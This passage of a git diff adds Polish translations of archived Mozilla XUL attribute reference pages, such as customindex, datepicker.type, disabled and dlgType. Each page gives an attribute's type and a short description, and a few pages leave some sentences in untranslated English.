+translation_of: Archive/Mozilla/XUL/Attribute/customindex
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-customindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/customindex">customindex</a></code></dt>
+ <dd>
+ <b><span class="highlightred">Tylko Firefox</span></b></dd>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Ta wartość jest indeksem paska narzędzi <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code> w dostosowanej liście paska narzędzi. Ta wartość jest aktualizowana automatycznie przez okno dialogowe dostosowujące pasek narzędzi.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/customizable/index.html b/files/pl/mozilla/tech/xul/atrybut/customizable/index.html
new file mode 100644
index 0000000000..ecdce29518
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/customizable/index.html
@@ -0,0 +1,23 @@
+---
+title: customizable
+slug: Mozilla/Tech/XUL/Atrybut/customizable
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/customizable
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-customizable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/customizable">customizable</a></code></dt>
+ <dd>
+ <b><span class="highlightred">Tylko Firefox</span></b></dd>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Ustawia ten atrybut na <code>true</code> w paskach narzędzi (<code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>), które mogą zostać dostosowane. Te ustawienie przycisków powoduje bycie trwałymi podczas sesji.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/datepicker.type/index.html b/files/pl/mozilla/tech/xul/atrybut/datepicker.type/index.html
new file mode 100644
index 0000000000..087ab720ee
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/datepicker.type/index.html
@@ -0,0 +1,38 @@
+---
+title: datepicker.type
+slug: Mozilla/Tech/XUL/Atrybut/datepicker.type
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+ - Strony_wymagające_dopracowania
+translation_of: Archive/Mozilla/XUL/Attribute/datepicker.type
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+
+<dl>
+ <dt><a href="pl/XUL/Atrybut/datepicker.type">type</a></dt>
+ <dd>Typ:<em>jedna z wartości poniżej</em></dd>
+ <dd>Możemy ustawić typ atrybutu na jeden z poniższych określonych typów elementu datepicker, aby je zastosować:</dd>
+</dl>
+
+<ul>
+ <li><code>normal</code>: Element datepicker z trzema polami dla wprowadzenia roku, miesiąca i dnia. Ta wartość jest domyślna, więc nie określaj typu atrybutu, jeśli jego wartość jest już pobrana.</li>
+ <li><code>grid</code>: Element datepicker, który wyświetla siatkę kalendarza , gdzie jeden miesiąc jest pokazany w jednym czasie.</li>
+ <li><code>popup</code>: Element datepicker z trzema polami do wprowadzenia lecz but an additional dropdown button, which, when pressed, will display a popup calendar grid.</li>
+</ul>
+
+<div class="noinclude">
+<dl>
+ <dt>Typ normalny</dt>
+ <dd> </dd>
+ <dd><img alt="Image:Controlsguide-datepicker.png"></dd>
+ <dt>Typ siatki</dt>
+ <dd> </dd>
+ <dd><img alt="Image:Controlsguide-datepicker-grid.png"></dd>
+ <dt>Typ wyskakującego okienka</dt>
+ <dd> </dd>
+ <dd><img alt="Image:Controlsguide-datepicker-popup.png"></dd>
+</dl>
+</div>
+
+<p> </p>
diff --git a/files/pl/mozilla/tech/xul/atrybut/datepicker.value/index.html b/files/pl/mozilla/tech/xul/atrybut/datepicker.value/index.html
new file mode 100644
index 0000000000..c545d51f17
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/datepicker.value/index.html
@@ -0,0 +1,30 @@
+---
+title: datepicker.value
+slug: Mozilla/Tech/XUL/Atrybut/datepicker.value
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/datepicker.value
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Łańcuch znaków pozwalający na łączenie sie wartości daty z elementem. Nie jest stosowany dla określonego celu, lecz możemy uzyskać do niego dostęp przy pomocy skryptu, wykorzystując go do własnych celów.</dd>
+</dl>
+<div class="noinclude">
+ <h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+ <ul>
+ <li><code><a href="pl/XUL/Atrybut/label.value">label.value</a></code></li>
+ <li><code><a href="pl/XUL/Atrybut/textbox.value">textbox.value</a></code></li>
+ <li><code><a href="pl/XUL/Atrybut/textnode.value">textnode.value</a></code></li>
+ </ul>
+</div>
+<p></p>
diff --git a/files/pl/mozilla/tech/xul/atrybut/default/index.html b/files/pl/mozilla/tech/xul/atrybut/default/index.html
new file mode 100644
index 0000000000..d846ba07f4
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/default/index.html
@@ -0,0 +1,17 @@
+---
+title: default
+slug: Mozilla/Tech/XUL/Atrybut/default
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/default
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-default"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/default">default</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli <code>true</code>, element <code><a href="/pl/docs/Mozilla/Tech/XUL/tooltip" title="tooltip">tooltip</a></code> jest stosowany jako domyślne wyskakujące okienko do wyświetlenia podpowiedzi w okienku.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/defaultbutton/index.html b/files/pl/mozilla/tech/xul/atrybut/defaultbutton/index.html
new file mode 100644
index 0000000000..f5bd202c49
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/defaultbutton/index.html
@@ -0,0 +1,17 @@
+---
+title: defaultButton
+slug: Mozilla/Tech/XUL/Atrybut/defaultButton
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/defaultButton
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-defaultButton"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/defaultButton">defaultButton</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Zwykle nie powinno się ustawiać tego atrybutu. Określa on domyślny przycisk w oknie dialogowym. Zazwyczaj oznacza to, że przycisk zostanie aktywowany po naciśnięciu klawisza Enter. Atrybutowi temu powinna być przypisana jedna z wartości używanych przez atrybut <code id="a-buttons"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttons">buttons</a></code>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/defaultset/index.html b/files/pl/mozilla/tech/xul/atrybut/defaultset/index.html
new file mode 100644
index 0000000000..a853caa29c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/defaultset/index.html
@@ -0,0 +1,18 @@
+---
+title: defaultset
+slug: Mozilla/Tech/XUL/Atrybut/defaultset
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/defaultset
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-defaultset"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/defaultset">defaultset</a></code>
+</dt><dd> <b><span class="highlightred">Tylko Firefox</span></b>
+</dd><dd> Typ: <i>lista pozycji id oddzielona przecinkiem</i>
+</dd><dd> Domyślne ustawienie wyświetlanych pozycji na <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>. To powinno być ustawione na listę pozycji ID oddzieloną przecinkiem pochodzącą z <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code>. Na przykład, <code>back-button,forward-button,print-button</code>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/description/index.html b/files/pl/mozilla/tech/xul/atrybut/description/index.html
new file mode 100644
index 0000000000..fc30c6c121
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/description/index.html
@@ -0,0 +1,17 @@
+---
+title: description
+slug: Mozilla/Tech/XUL/Atrybut/description
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/description
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-description"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/description">description</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Tekst opisowy do wyświetlenia w dodatku do tytułu okienka dialogowego.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/dir/index.html b/files/pl/mozilla/tech/xul/atrybut/dir/index.html
new file mode 100644
index 0000000000..d43c6a345e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/dir/index.html
@@ -0,0 +1,20 @@
+---
+title: dir
+slug: Mozilla/Tech/XUL/Atrybut/dir
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/dir
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Kierunek, w którym umieszczane są elementy potomne danego elementu. </dd></dl>
+<ul><li> <code>normal</code>: Elementy są umieszczane od lewej do prawej lub od góry do dołu, w kodzie XUL.
+</li><li> <code>reverse</code>: Elementy są umieszczane od prawej do lewej lub od dołu do góry. Jest to odwrotność porządku, w którym zostały one umieszczone w kodzie XUL.
+</li></ul>
+<div class="noinclude">
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<ul><li> <a href="pl/XUL/Atrybut/resizer.dir">resizer.dir</a>
+</li></ul>
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/disableautocomplete/index.html b/files/pl/mozilla/tech/xul/atrybut/disableautocomplete/index.html
new file mode 100644
index 0000000000..8f0a4e0b94
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/disableautocomplete/index.html
@@ -0,0 +1,17 @@
+---
+title: disableAutocomplete
+slug: Mozilla/Tech/XUL/Atrybut/disableAutocomplete
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/disableAutocomplete
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-disableAutocomplete"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disableAutocomplete">disableAutocomplete</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli <code>true</code>, zachowanie automatyczne zostanie wyłączone. Możesz użyć skryptu do zmiany do zmiany tego atrybutu. Jeśli <code>false</code>, domyślnie, autouzupełnianie jest włączone.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/disableautoselect/index.html b/files/pl/mozilla/tech/xul/atrybut/disableautoselect/index.html
new file mode 100644
index 0000000000..375d05ac73
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/disableautoselect/index.html
@@ -0,0 +1,17 @@
+---
+title: disableautoselect
+slug: Mozilla/Tech/XUL/Atrybut/disableautoselect
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/disableautoselect
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-disableautoselect"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disableautoselect">disableautoselect</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli ten atrybut jest <code>true</code> lub pominięty, zaznaczona pozycja w menu będzie aktualizowana dopasowując się do tego co użytkownik wprowadzi w polu tekstowym. Jeśli tekst nie dopasuje się do jakiejkolwiek pozycji na liście, to zaznaczenie zostanie wyczyszczone. Jeśli ten atrybut jest <code>false</code>, zaznaczenie nigdy nie zostanie zaktualizowane do dopasowania pola tekstowego. Ten atrybut zastosowany jest tylko do <code><a href="/pl/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code>, który jest zdolny do edycji.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/disableclose/index.html b/files/pl/mozilla/tech/xul/atrybut/disableclose/index.html
new file mode 100644
index 0000000000..1f90606c5c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/disableclose/index.html
@@ -0,0 +1,17 @@
+---
+title: disableclose
+slug: Mozilla/Tech/XUL/Atrybut/disableclose
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/disableclose
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-disableclose"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disableclose">disableclose</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli ten atrybut jest ustawiony na <code>true</code>, to przycisk zamknięcia będzie wyłączony.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/disabled/index.html b/files/pl/mozilla/tech/xul/atrybut/disabled/index.html
new file mode 100644
index 0000000000..ddc17391de
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/disabled/index.html
@@ -0,0 +1,19 @@
+---
+title: disabled
+slug: Mozilla/Tech/XUL/Atrybut/disabled
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/disabled
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. <div class="noinclude">Element nadal jednak będzie odpowiadać na zdarzenia myszy. Aby włączyć dany element, atrybut ten musi być pominięty lub przyjąć wartość <code>false</code>.
+</div></dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
diff --git a/files/pl/mozilla/tech/xul/atrybut/disablehistory/index.html b/files/pl/mozilla/tech/xul/atrybut/disablehistory/index.html
new file mode 100644
index 0000000000..4d120a5c7b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/disablehistory/index.html
@@ -0,0 +1,17 @@
+---
+title: disablehistory
+slug: Mozilla/Tech/XUL/Atrybut/disablehistory
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/textbox.disablehistory
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-disablehistory"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disablehistory">disablehistory</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli atrybut ma wartość <code>false</code>, przycisk ze strzałką wyświetli się na końcu pola tekstowego, które otworzy menu rozwijane wszystkich dostępnych wyników. Domyślna wartością jest <code>true</code>, ukrywające przycisk rozwijania.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/disablekeynavigation/index.html b/files/pl/mozilla/tech/xul/atrybut/disablekeynavigation/index.html
new file mode 100644
index 0000000000..58f8c07738
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/disablekeynavigation/index.html
@@ -0,0 +1,17 @@
+---
+title: disablekeynavigation
+slug: Mozilla/Tech/XUL/Atrybut/disablekeynavigation
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/disableKeyNavigation
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-disablekeynavigation"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disablekeynavigation">disablekeynavigation</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli atrybut ten nie jest użyty, użytkownik może przechodzić do określonych pozycji listy poprzez naciśnięcie pierwszej litery etykiety danej pozycji. Odbywa się to przyrostowo, dlatego przyciśnięcie dodatkowych klawiszy spowoduje zaznaczenie lepiej określonych pozycji. Opcja ta może zostać wyłączona poprzez ustawienie wartości atrybutu jako <code>true</code>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/disablesecurity/index.html b/files/pl/mozilla/tech/xul/atrybut/disablesecurity/index.html
new file mode 100644
index 0000000000..c6169b3dd0
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/disablesecurity/index.html
@@ -0,0 +1,17 @@
+---
+title: disablesecurity
+slug: Mozilla/Tech/XUL/Atrybut/disablesecurity
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/disablesecurity
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-disablesecurity"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disablesecurity">disablesecurity</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Wartość <code>true</code> wyłącza UI bezpieczeństwa dla tej przeglądarki. Pominięcie tego atrybutu włącza je.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/dlgtype/index.html b/files/pl/mozilla/tech/xul/atrybut/dlgtype/index.html
new file mode 100644
index 0000000000..3ed49bdbef
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/dlgtype/index.html
@@ -0,0 +1,23 @@
+---
+title: dlgType
+slug: Mozilla/Tech/XUL/Atrybut/dlgType
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/dlgtype
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-dlgType"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dlgType">dlgType</a></code>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Typ dialogowy używany jest tylko, kiedy przycisk znajduje się w oknie dialogowym. Dzięki temu można zastąpić standardowe przyciski okna dialogowego własnymi przyciskami, z tym że metody obsługi zdarzeń okna dialogowego nadal będą funkcjonować. Przykładowo, jeśli <code>dlgType</code> ma wartość <code>accept</code>, przycisk zastąpi przycisk akceptujący okna dialogowego, zwykle mający etykietę <code>OK</code>. Stosowanie tego atrybutu na przycisku nie znajdującym się w oknie dialogowym nie odniesie żadnego skutku. Poniżej przedstawiono możliwe wartości tego atrybutu:
+</dd></dl>
+<ul><li> <code>accept</code>: przycisk OK akceptujący zmiany po naciśnięciu.
+</li><li> <code>cancel</code>: przycisk Anuluj anulujący daną operację.
+</li><li> <code>help</code>: przycisk Pomoc wyświetlający informacje na temat okna dialogowego.
+</li><li> <code>disclosure</code>: przycisk służący do wyświetlenia dodatkowych informacji. Może to być zwykły przycisk lub trójkąt rozwijający.
+</li></ul>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/dragging/index.html b/files/pl/mozilla/tech/xul/atrybut/dragging/index.html
new file mode 100644
index 0000000000..e8a3878b32
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/dragging/index.html
@@ -0,0 +1,17 @@
+---
+title: dragging
+slug: Mozilla/Tech/XUL/Atrybut/dragging
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/dragging
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-dragging"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dragging">dragging</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Ten atrybut będzie ustawiony na <code>true</code>, jeśli kolumna będzie przesuwana. Ten atrybut jest ustawiony automatycznie, więc nie powinniśmy go przestawiać ręcznie.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/editable/index.html b/files/pl/mozilla/tech/xul/atrybut/editable/index.html
new file mode 100644
index 0000000000..90f0cc25ca
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/editable/index.html
@@ -0,0 +1,16 @@
+---
+title: editable
+slug: Mozilla/Tech/XUL/Atrybut/editable
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+ - Strony_wymagające_dopracowania
+translation_of: Archive/Mozilla/XUL/Attribute/editable
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+
+<dl>
+ <dt><code id="a-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/editable">editable</a></code></dt>
+ <dd>Typ:<em>boolean</em></dd>
+ <dd>Sygnalizuje, która wartość <code><a href="/pl/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code> może być modyfikowana poprzez wpis bezpośrednio do wartości pola. This is rendered as a textbox with a drop-down arrow beside it. The user may enter text into the textbox or select one of the choices by clicking from the drop-down. If used in a tree, editable allows the content to be changed, especially useful when <code>type="checkbox"</code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/editor.type/index.html b/files/pl/mozilla/tech/xul/atrybut/editor.type/index.html
new file mode 100644
index 0000000000..9b3c3b1ee2
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/editor.type/index.html
@@ -0,0 +1,17 @@
+---
+title: editor.type
+slug: Mozilla/Tech/XUL/Atrybut/editor.type
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/editor.type
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <a href="pl/XUL/Atrybut/editor.type">type</a>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Jeśli ustawiony jest na <code>content-primary</code>, to edytor stanie się główną zawartością strony. Okno dla głównej zawartości można wygodniej pobrać przy użyciu <code>window.content</code>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/editortype/index.html b/files/pl/mozilla/tech/xul/atrybut/editortype/index.html
new file mode 100644
index 0000000000..f845426cfa
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/editortype/index.html
@@ -0,0 +1,20 @@
+---
+title: editortype
+slug: Mozilla/Tech/XUL/Atrybut/editortype
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/editortype
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-editortype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/editortype">editortype</a></code>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Typ edytora do zastosowania. Ta wartość będzie przesłonięta w zależności od typu dokumentu załadowanego w edytorze.
+</dd></dl>
+<ul><li> <code>html</code>: Edytor HTML.
+</li><li> <code>text</code>: Edytor tekstowy.
+</li></ul>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/element/index.html b/files/pl/mozilla/tech/xul/atrybut/element/index.html
new file mode 100644
index 0000000000..b1bbb7a821
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/element/index.html
@@ -0,0 +1,17 @@
+---
+title: element
+slug: Mozilla/Tech/XUL/Atrybut/element
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/element
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-element"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/element">element</a></code>
+</dt><dd> Typ: <i>id elementu broadcaster</i>
+</dd><dd> Atrybut <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/broadcaster" title="broadcaster">broadcaster</a></code>, którego obserwator jest obserwowany.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/empty/index.html b/files/pl/mozilla/tech/xul/atrybut/empty/index.html
new file mode 100644
index 0000000000..0dcbc61d73
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/empty/index.html
@@ -0,0 +1,18 @@
+---
+title: empty
+slug: Mozilla/Tech/XUL/Atrybut/empty
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/empty
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Ustawia <code>true</code>, jeśli element jest kontenerem bez elementu potomnego. Zostanie ustawiony poprzez kreator szablonów jako potrzebny.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/enablecolumndrag/index.html b/files/pl/mozilla/tech/xul/atrybut/enablecolumndrag/index.html
